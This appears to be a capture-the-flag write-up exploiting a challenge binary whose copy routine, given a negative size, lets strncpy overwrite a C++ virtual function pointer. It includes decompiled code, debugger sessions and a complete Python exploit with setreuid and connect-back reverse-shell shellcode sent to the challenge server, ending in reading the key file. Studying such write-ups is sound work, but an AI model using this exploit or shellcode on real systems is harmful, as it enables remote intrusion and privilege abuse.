This binary asks for a number and a string and outputs it. While playing with value, we notice a negative number for the number will crash the program.
Input Num : 32
Input Msg : TOTO
Reply :
ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`TOTO
$ nc 58.229.122.22 6666
Input Num : 2048
Input Msg : TOTO
Reply :
TOTO
$ nc 58.229.122.22 6666
Input Num : -1
Input Msg : TOTO
The reverse engineered main part of the program is as follow:
– We create a new objet myClass
– Set the virtual function pointer for the do_reply function.
– Get inputs from user
– Copy user data to myClass
– Call myClass->do_reply
{
int myClass; // ebx@1
int size; // ST10_4@1
myClass = operator new();
set_do_reply_ptr(myClass);
printf("Input Num : ");
fflush(stdout);
sleep(2u);
fgets(buffer, 2048, stdin);
size = atoi(buffer);
memset(buffer, 0, 2048u);
printf("Input Msg : ");
fflush(stdout);
sleep(2u);
fgets(buffer, 2048, stdin);
fflush(stdout);
do_copy(myClass, buffer, size);
(**(void (__cdecl ***)(_DWORD))myClass)(myClass);
return 0;
}
The copy function is below. What we want is trick strncpy in overwriting the first 4 bytes of myClass which contains the virtual function pointers to do_reply.
{
char *result; // eax@5
if ( size > 2047 )
{
result = strcpy((char *)(dest + 4), src);
}
else
{
for ( i = 0; (size ^ (size >> 31)) - (size >> 31) > i; ++i )
*(_BYTE *)(dest + i + 4) = i + 65;
result = strncpy((char *)(dest + 4 + size), src, 2048 - ((size ^ (size >> 31)) - (size >> 31)));
}
return result;
}
If we use size = -4:
*(_BYTE *)(dest + i + 4) = i + 65;
result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ (-4 >> 31)) - (-4 >> 31)));
-4 = b1111111111111111111111111111111111111111111111111111111111111100
-4 >> 31 = -1 = b1111111111111111111111111111111111111111111111111111111111111111
-4 ^ -1 = 3
So we can simplify the function as follow:
*(_BYTE *)(dest + i + 4) = i + 65;
result = strncpy((char *)(dest + 4 + -4), src, 2048 - ((-4 ^ -1) - -1));
And even more:
*(_BYTE *)(dest + i + 4) = i + 65;
result = strncpy((char *)(dest), src, 2044);
strncpy will overwrite the beginning of myClass, bingo, we can control the virtual function pointer.
Let’s check this with a debugger:
Input Num : -4
Input Msg : ABCD
--------------------------------------------------------------------------[regs]
EAX: 0x080491E0 EBX: 0x0804A008 ECX: 0x0804A00C EDX: 0x0804A008 o d I t s z A P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF698 ESP: 0xBFFFF68C EIP: 0x080488D5
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x80488d5: call 0x80485a8 <strncpy@plt>
0x80488da: jmp 0x80488f1
0x80488dc: mov eax,DWORD PTR [ebp+0x8]
0x80488df: lea edx,[eax+0x4]
0x80488e2: mov eax,DWORD PTR [ebp+0xc]
0x80488e5: mov DWORD PTR [esp+0x4],eax
0x80488e9: mov DWORD PTR [esp],edx
0x80488ec: call 0x80485f8 <strcpy@plt>
--------------------------------------------------------------------------------
Breakpoint 1, 0x080488d5 in ?? ()
gdb$ x/4x $esp
0xbffff68c: 0x0804a008 0x080491e0 0x000007fc 0xbffff6b8
Our calculations are correct, destination will be start of myClass.
Let’s take a deeper look on how a virtual function call happends:
This translate in assembly to:
.text:08048828 mov eax, [eax] ; virtual function pointer offset
.text:0804882A mov edx, [eax] ; virtual function offset
.text:0804882C mov eax, [ebp+var_C]
.text:0804882F mov [esp], eax
.text:08048832 call edx ; call virtual function
Lets check again with a debugger using -4 for size:
Input Num : -4
Input Msg : ABCD
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x44434241 EBX: 0x0804A008 ECX: 0x000007F6 EDX: 0x000007F6 o d I t S z a p c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFFFF6B8 ESP: 0xBFFFF6A0 EIP: 0x0804882A
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0x804882a: mov edx,DWORD PTR [eax]
0x804882c: mov eax,DWORD PTR [ebp-0xc]
0x804882f: mov DWORD PTR [esp],eax
0x8048832: call edx
0x8048834: mov eax,0x0
0x8048839: add esp,0x14
0x804883c: pop ebx
0x804883d: pop ebp
--------------------------------------------------------------------------------
0x0804882a in ?? ()
Bingo. ‘ABCD’ (0x44434241) was written to the virtual function pointer.
Now it’s only a matter of filling this buffer with a shellcode and jumping to it:
[A][B][SHELLCODE]
A will be the offset of B
B will be the offset of SHELLCODE
Since the binary is suid but is dropping privileges, we need to setreuid() to restore the suid user and access the key file.
from struct import pack, unpack
# setreuid(geteuid())
shellcode = "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80"
# connectback port 45295
shellcode += "\x31\xc0\x31\xdb\x31\xc9\x51\xb1\x06\x51\xb1\x01\x51\xb1\x02" \
"\x51\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc2\x31\xc0\x31\xc9\x51\x51\x68"
shellcode += chr(1) + chr(2) + chr(3) + chr(4) # your IP
shellcode += "\x66\x68\xb0\xef\xb1\x02\x66\x51\x89\xe7\xb3\x10\x53\x57\x52\x89\xe1\xb3\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x74\x06\x31\xc0\xb0\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\x89\xd3\xb1\x02\xcd\x80\x31\xc0\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
host = '58.229.122.22'
port = 6666
tn = telnetlib.Telnet(host, port)
tn.read_until("Input Num : ")
tn.write("-4\n")
tn.read_until("Input Msg : ")
buffer = pack('<I', 0x080491E0 + 4) # virtual function pointer offset
buffer += pack('<I', 0x080491E0 + 8) # virtual function offset
buffer += shellcode
buffer += "\n"
print repr(buffer)
s = tn.get_socket()
s.send(buffer)
data = True
while data:
data = s.recv(1024)
if data:
print data
Result:
id
uid=502(S74R) gid=501(star) groups=502(S74R),501(star)
pwd
/
cd /home/S74R
cat key
Victoria Secret show they miss me ;)